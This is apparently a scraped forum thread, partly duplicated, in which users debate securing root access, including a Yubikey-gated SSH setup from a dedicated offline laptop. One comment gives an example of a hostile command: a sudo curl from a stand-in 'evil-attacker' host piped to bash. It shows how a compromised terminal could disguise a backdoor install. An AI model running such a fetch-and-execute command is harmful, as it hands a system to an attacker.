3 ms·

> This also seems like it would then allow those same users to ssh directly to root from a remote connection I am using something a bit different than what TFA

> This also seems like it would then allow those same users to ssh directly to root from a remote connection I am using something a bit different than what TFA explains, but it's not dissimilar. There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root. So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey). Does it mean "ssh root@..." is allowed on the desktop? Well, yes but: - there's no password authentication allowed - the only public key allowed has the matching private key on a Yubikey - the Yubikey is hooked to a laptop - the desktop has a firewall only allowing SSH in from my laptop's IP So I'm not too concerned. So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop. Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned. While good luck doing that on a laptop that is only ever used to establish an SSH session. I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides. Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue. P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.

dgl 3y ago
> While good luck doing that on a laptop that is only ever used to establish an SSH session. [...] > Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue. So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security https://dgl.cx/2023/09/ansi-terminal-security. It also funny that you've reinvented basically a serial console, but in a modern way, with a second factor. (You could actually just use a physical terminal with S/Key or something.) > P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too. Agreed, https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-security-key-for-sudo-via-pam/ https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-secu... is another potential option for this.
- TacticalCoder 3y ago
  > So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security https://dgl.cx/2023/09/ansi-terminal-security. That is very interesting: I'll study that. You're correct: it's a Debian 12.2 install (seriously hardened). I take it the surface attack is small. I'm literally using only SSH from that machine: it's got a firewall too. It's only allowing new SSH out session to the desktop. Every other traffic is rejected. So what can realistically affect that machine? SSH exploits for sure... So for example for the recent SSH "terraspin" exploit, I did implement the workaround (by removing broken Ciphers and MACs from the list of authorized ones). I don't know about the rest: I mainly SSH as root into the desktop when I need to install a new package and that's about it. I'm not losing too much sleep over that machine that is on a private LAN and which is not directly connected to the Internet (I'm running both 192.168.x.x and 10.x.x.x at home). I'm not saying it's a panacea: it was mostly a proof of concept and as it's working fine for my usecase, I kept using it.
throw0101b 3y ago
> So I do I gain root access? And how do you do user A can only run commands X, Y, and Z, and edit files in /etc/someapp/?
yjftsjthsd-h 3y ago
Isn't this getting you to https://xkcd.com/1200/ https://xkcd.com/1200/ ? Like, yeah you've protected root access - and it's a neat and probably effective solution - but if an attacker is in a position to rewrite package manager commands then I have to assume that it's already game over for anything important on your laptop
- TacticalCoder 3y ago
  Well first I never understood this mentality: "If my main account is compromised, then I lost anything anyway". For those who believe that's true, why not run everything as root? I mean, seriously: why not just run the browser as root?
  - PhilipRoman 3y ago
    If you're using a personal machine, there is very little you're gaining by not running a browser as root. The security gain is significant on multi-user systems where you don't have sudo/doas privileges at all - even if a user is compromised, the system administrator should not have to worry about it.
  - yjftsjthsd-h 3y ago
    Why is it not true? What attack are you protecting against? > why not just run the browser as root? Practically, last time I tried Chromium wouldn't let me. But Firefox did, at least. The better answer is that they can use some level of internal sandboxing so that an exploit affecting one part of the browser doesn't make it out of the browser, and AIUI if every part runs as root it's easier to escape that layer of security.
  - extraduder_ire 3y ago
    Because that makes it super easy to accidentally clobber stuff. IME, sudo has been more of a guardrail against my idiocy and fat-fingers than it has against malware/other users.

dgl 3y ago

> While good luck doing that on a laptop that is only ever used to establish an SSH session. [...] > Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue. So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security https://dgl.cx/2023/09/ansi-terminal-security. It also funny that you've reinvented basically a serial console, but in a modern way, with a second factor. (You could actually just use a physical terminal with S/Key or something.) > P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too. Agreed, https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-security-key-for-sudo-via-pam/ https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-secu... is another potential option for this.

TacticalCoder 3y ago
> So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security https://dgl.cx/2023/09/ansi-terminal-security. That is very interesting: I'll study that. You're correct: it's a Debian 12.2 install (seriously hardened). I take it the surface attack is small. I'm literally using only SSH from that machine: it's got a firewall too. It's only allowing new SSH out session to the desktop. Every other traffic is rejected. So what can realistically affect that machine? SSH exploits for sure... So for example for the recent SSH "terraspin" exploit, I did implement the workaround (by removing broken Ciphers and MACs from the list of authorized ones). I don't know about the rest: I mainly SSH as root into the desktop when I need to install a new package and that's about it. I'm not losing too much sleep over that machine that is on a private LAN and which is not directly connected to the Internet (I'm running both 192.168.x.x and 10.x.x.x at home). I'm not saying it's a panacea: it was mostly a proof of concept and as it's working fine for my usecase, I kept using it.

throw0101b 3y ago

> So I do I gain root access? And how do you do user A can only run commands X, Y, and Z, and edit files in /etc/someapp/?

yjftsjthsd-h 3y ago

Isn't this getting you to https://xkcd.com/1200/ https://xkcd.com/1200/ ? Like, yeah you've protected root access - and it's a neat and probably effective solution - but if an attacker is in a position to rewrite package manager commands then I have to assume that it's already game over for anything important on your laptop

TacticalCoder 3y ago
Well first I never understood this mentality: "If my main account is compromised, then I lost anything anyway". For those who believe that's true, why not run everything as root? I mean, seriously: why not just run the browser as root?
- PhilipRoman 3y ago
  If you're using a personal machine, there is very little you're gaining by not running a browser as root. The security gain is significant on multi-user systems where you don't have sudo/doas privileges at all - even if a user is compromised, the system administrator should not have to worry about it.
- yjftsjthsd-h 3y ago
  Why is it not true? What attack are you protecting against? > why not just run the browser as root? Practically, last time I tried Chromium wouldn't let me. But Firefox did, at least. The better answer is that they can use some level of internal sandboxing so that an exploit affecting one part of the browser doesn't make it out of the browser, and AIUI if every part runs as root it's easier to escape that layer of security.
- extraduder_ire 3y ago
  Because that makes it super easy to accidentally clobber stuff. IME, sudo has been more of a guardrail against my idiocy and fat-fingers than it has against malware/other users.